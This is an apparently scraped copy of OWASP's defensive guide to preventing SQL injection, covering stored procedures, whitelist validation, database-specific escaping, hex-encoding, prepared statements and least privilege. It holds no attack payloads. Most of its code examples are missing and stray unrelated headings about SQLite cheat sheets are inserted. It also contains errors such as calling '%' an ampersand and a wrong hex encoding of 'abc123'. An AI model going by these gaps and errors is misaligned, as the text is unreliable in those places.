There are also several cases where stored procedures can increase risk. For example, on MS SQL server, you have 3 main default roles: db_datareader, db_datawriter and db_owner. Before stored procedures came into use, DBA's would give db_datareader or db_datawriter rights to the webservice's user, depending on the requirements. However, stored procedures require execute rights, a role that is not available by default. Some setups where the user management has been centralized, but is limited to those 3 roles, cause all web apps to run under db_owner rights so stored procedures can work. Naturally, that means that if a server is breached the attacker has full rights to the database, where previously they might only have had read-access. More on this topic here. http://www.sqldbatips.com/showarticle.asp?ID=8

Safe Java Stored Procedure Example

The following code example uses a CallableStatement, Java's implementation of the stored procedure interface, to execute the same database query. The 'sp_getAccountBalance' stored procedure would have to be predefined in the database and implement the same functionality as the query defined above.

Safe VB .NET Stored Procedure Example

The following code example uses a SqlCommand, .NET’s implementation of the stored procedure interface, to execute the same database query. The 'sp_getAccountBalance' stored procedure would have to be predefined in the database and implement the same functionality as the query defined above.

Defense Option 3: White List Input Validation

Various parts of SQL queries aren't legal locations for the use of bind variables, such as the names of tables or columns, and the sort order indicator (ASC or DESC). In such situations, input validation or query redesign is the most appropriate defense. For the names of tables or columns, ideally those values come from the code, and not from user parameters. But if user parameter values are used to make different for table names and column names, then the parameter values should be mapped to the legal/expected table or column names to make sure unvalidated user input doesn't end up in the query. Please note, this is a symptom of poor design and a full re-write should be considered if time allows. Here is an example of table name validation.

The tableName can then be directly appended to the SQL query since it is now known to be one of the legal and expected values for a table name in this query. Keep in mind that generic table validation functions can lead to data loss as table names are used in queries where they are not expected.

For something simple like a sort order, it would be best if the user supplied input is converted to a boolean, and then that boolean is used to select the safe value to append to the query. This is a very standard need in dynamic query creation. For example:

Any time user input can be converted to a non-String, like a date, numeric, boolean, enumerated type, etc. before it is appended to a query, or used to select a value to append to the query, this ensures it is safe to do so.

Input validation is also recommended as a secondary defense in ALL cases, even when using bind variables as is discussed later in this article. More techniques on how to implement strong white list input validation is described in the Input Validation Cheat Sheet.

Defense Option 4: Escaping All User-Supplied Input

This technique should only be used as a last resort, when none of the above are feasible. Input validation is probably a better choice as this methodology is frail compared to other defenses and we cannot guarantee it will prevent all SQL Injection in all situations.

This technique is to escape user input before putting it in a query. It is very database specific in its implementation. It's usually only recommended to retrofit legacy code when implementing input validation isn't cost effective. Applications built from scratch, or applications requiring low risk tolerance should be built or re-written using parameterized queries, stored procedures, or some kind of Object Relational Mapper (ORM) that builds your queries for you.

This technique works like this. Each DBMS supports one or more character escaping schemes specific to certain kinds of queries. If you then escape all user supplied input using the proper escaping scheme for the database you are using, the DBMS will not confuse that input with SQL code written by the developer, thus avoiding any possible SQL injection vulnerabilities.

The OWASP Enterprise Security API (ESAPI) is a free, open source, web application security control library that makes it easier for programmers to write lower-risk applications. The ESAPI libraries are designed to make it easier for programmers to retrofit security into existing applications. The ESAPI libraries also serve as a solid foundation for new development.

• Full details on ESAPI are available here on OWASP.
• The javadoc for ESAPI 2.x (Legacy) is available. This code was migrated to GitHub in November 2014.
• The legacy ESAPI for Java at GitHub helps understand existing use of it when Javadoc seems insufficient.
• An attempt at another ESAPI for Java GitHub has other approaches and no tests or concrete codecs.

To find the javadoc specifically for the database encoders, click on the ‘Codec’ class on the left hand side. There are lots of Codecs implemented. The two Database specific codecs are OracleCodec, and MySQLCodec.

Just click on their names in the ‘All Known Implementing Classes:’ at the top of the Interface Codec page.

At this time, ESAPI currently has database encoders for:

• Oracle
• MySQL (Both ANSI and native modes are supported)

Database encoders are forthcoming for:

• SQL Server
• PostgreSQL

If your database encoder is missing, please let us know.

Database Specific Escaping Details

If you want to build your own escaping routines, here are the escaping details for each of the databases that we have developed ESAPI Encoders for:

• Oracle
• SQL Server
• DB2

Oracle Escaping

This information is based on the Oracle Escape character information found here: http://www.orafaq.com/wiki/SQL_FAQ#How_does_one_escape_special_characters_when_writing_SQL_queries.3F

Escaping Dynamic Queries

To use an ESAPI database codec is pretty simple. An Oracle example looks something like:

So, if you had an existing Dynamic query being generated in your code that was going to Oracle that looked like this:

You would rewrite the first line to look like this:

And it would now be safe from SQL injection, regardless of the input supplied.

For maximum code readability, you could also construct your own OracleEncoder.

With this type of solution, you would need only to wrap each user-supplied parameter being passed into an ESAPI.encoder().encodeForOracle( ) call or whatever you named the call and you would be done.

Turn off character replacement

Use SET DEFINE OFF or SET SCAN OFF to ensure that automatic character replacement is turned off. If this character replacement is turned on, the & character will be treated like a SQLPlus variable prefix that could allow an attacker to retrieve private data.

See http://download.oracle.com/docs/cd/B19306_01/server.102/b14357/ch12040.htm#i2698854 and http://stackoverflow.com/questions/152837/how-to-insert-a-string-which-contains-an for more information

Escaping Wildcard characters in Like Clauses

The LIKE keyword allows for text scanning searches. In Oracle, the underscore '_' character matches only one character, while the ampersand '%' is used to match zero or more occurrences of any characters. These characters must be escaped in LIKE clause criteria. For example:

Sqlite Injection Cheat Sheet Example

Oracle 10g escaping

An alternative for Oracle 10g and later is to place { and } around the string to escape the entire string. However, you have to be careful that there isn't a } character already in the string. You must search for these and if there is one, then you must replace it with }}. Otherwise that character will end the escaping early, and may introduce a vulnerability.

Sqlite3 Cheat Sheet

MySQL Escaping

MySQL supports two escaping modes:

1. ANSI_QUOTES SQL mode, and a mode with this off, which we call
2. MySQL mode.

ANSI SQL mode: Simply encode all ' (single tick) characters with ' (two single ticks)

MySQL mode, do the following:

This information is based on the MySQL Escape character information found here: https://dev.mysql.com/doc/refman/5.7/en/string-literals.html

SQL Server Escaping

We have not implemented the SQL Server escaping routine yet, but the following has good pointers and links to articles describing how to prevent SQL injection attacks on SQL server

DB2 Escaping

This information is based on DB2 WebQuery special characters found here: https://www-304.ibm.com/support/docview.wss?uid=nas14488c61e3223e8a78625744f00782983as well as some information from Oracle's JDBC DB2 driver found here:http://docs.oracle.com/cd/E12840_01/wls/docs103/jdbc_drivers/sqlescape.html

Information in regards to differences between several DB2 Universal drivers can be found here: http://publib.boulder.ibm.com/infocenter/db2luw/v8/index.jsp?topic=/com.ibm.db2.udb.doc/ad/rjvjcsqc.htm

Hex-encoding all input

A somewhat special case of escaping is the process of hex-encode the entire string received from the user (this can be seen as escaping every character). The web application should hex-encode the user input before including it in the SQL statement. The SQL statement should take into account this fact, and accordingly compare the data. For example, if we have to look up a record matching a sessionID, and the user transmitted the string abc123 as the session ID, the select statement would be:

(hex_encode should be replaced by the particular facility for the database being used.) The string 606162313233 is the hex encoded version of the string received from the user (it is the sequence of hex values of the ASCII/UTF-8 codes of the user data).

If an attacker were to transmit a string containing a single-quote character followed by their attempt to inject SQL code, the constructed SQL statement will only look like:

27 being the ASCII code (in hex) of the single-quote, which is simply hex-encoded like any other character in the string. The resulting SQL can only contain numeric digits and letters a to f, and never any special character that could enable an SQL injection.

Escaping SQLi in PHP

Use prepared statements and parameterized queries. These are SQL statements that are sent to and parsed by the database server separately from any parameters. This way it is impossible for an attacker to inject malicious SQL.

You basically have two options to achieve this:

1. Using PDO (for any supported database driver):

2. Using MySQLi (for MySQL):

PDO is the universal option. If you're connecting to a database other than MySQL, you can refer to a driver-specific second option (e.g. pg_prepare() and pg_execute() for PostgreSQL).

Beyond adopting one of the four primary defenses, we also recommend adopting all of these additional defenses in order to provide defense in depth. These additional defenses are:

Sqlite Injection Cheat Sheet Template

• Least Privilege
• White List Input Validation

Least Privilege

To minimize the potential damage of a successful SQL injection attack, you should minimize the privileges assigned to every database account in your environment. Do not assign DBA or admin type access rights to your application accounts. We understand that this is easy, and everything just ‘works’ when you do it this way, but it is very dangerous. Start from the ground up to determine what access rights your application accounts require, rather than trying to figure out what access rights you need to take away. Make sure that accounts that only need read access are only granted read access to the tables they need access to. If an account only needs access to portions of a table, consider creating a view that limits access to that portion of the data and assigning the account access to the view instead, rather than the underlying table. Rarely, if ever, grant create or delete access to database accounts.

If you adopt a policy where you use stored procedures everywhere, and don’t allow application accounts to directly execute their own queries, then restrict those accounts to only be able to execute the stored procedures they need. Don’t grant them any rights directly to the tables in the database.

SQL injection is not the only threat to your database data. Attackers can simply change the parameter values from one of the legal values they are presented with, to a value that is unauthorized for them, but the application itself might be authorized to access. As such, minimizing the privileges granted to your application will reduce the likelihood of such unauthorized access attempts, even when an attacker is not trying to use SQL injection as part of their exploit.

While you are at it, you should minimize the privileges of the operating system account that the DBMS runs under. Don't run your DBMS as root or system! Most DBMSs run out of the box with a very powerful system account. For example, MySQL runs as system on Windows by default! Change the DBMS's OS account to something more appropriate, with restricted privileges.

Multiple DB Users

The designer of web applications should not only avoid using the same owner/admin account in the web applications to connect to the database. Different DB users could be used for different web applications. In general, each separate web application that requires access to the database could have a designated database user account that the web-app will use to connect to the DB. That way, the designer of the application can have good granularity in the access control, thus reducing the privileges as much as possible. Each DB user will then have select access to what it needs only, and write-access as needed.

As an example, a login page requires read access to the username and password fields of a table, but no write access of any form (no insert, update, or delete). However, the sign-up page certainly requires insert privilege to that table; this restriction can only be enforced if these web apps use different DB users to connect to the database.

Views

You can use SQL views to further increase the granularity of access by limiting the read access to specific fields of a table or joins of tables. It could potentially have additional benefits: for example, suppose that the system is required (perhaps due to some specific legal requirements) to store the passwords of the users, instead of salted-hashed passwords. The designer could use views to compensate for this limitation; revoke all access to the table (from all DB users except the owner/admin) and create a view that outputs the hash of the password field and not the field itself. Any SQL injection attack that succeeds in stealing DB information will be restricted to stealing the hash of the passwords (could even be a keyed hash), since no DB user for any of the web applications has access to the table itself.

White List Input Validation

In addition to being a primary defense when nothing else is possible (e.g., when a bind variable isn't legal), input validation can also be a secondary defense used to detect unauthorized input before it is passed to the SQL query. For more information please see the Input Validation Cheat Sheet. Proceed with caution here. Validated data is not necessarily safe to insert into SQL queries via string building.

SQL Injection Attack Cheat Sheets

The following articles describe how to exploit different kinds of SQL Injection Vulnerabilities on various platforms that this article was created to help you avoid:

• 'SQL Injection Cheat Sheet' - http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
• 'Bypassing WAF's with SQLi' - SQL Injection Bypassing WAF

Description of SQL Injection Vulnerabilities

• OWASP article on SQL Injection Vulnerabilities
• OWASP article on Blind_SQL_Injection Vulnerabilities

How to Avoid SQL Injection Vulnerabilities

• OWASP Developers Guide article on how to Avoid SQL Injection Vulnerabilities
• OWASP Cheat Sheet that provides numerous language specific examples of parameterized queries using both Prepared Statements and Stored Procedures

How to Review Code for SQL Injection Vulnerabilities

• OWASP Code Review Guide article on how to Review Code for SQL Injection Vulnerabilities

How to Test for SQL Injection Vulnerabilities

Sqlite Injection Cheat Sheet 2019

• OWASP Testing Guide article on how to Test for SQL Injection Vulnerabilities

Dave Wichers - dave.wichers[at]owasp.org
Jim Manico - jim[at]owasp.org
Matt Seil - mseil[at]acm.org
Dhiraj Mishra - mishra.dhiraj[at]owasp.org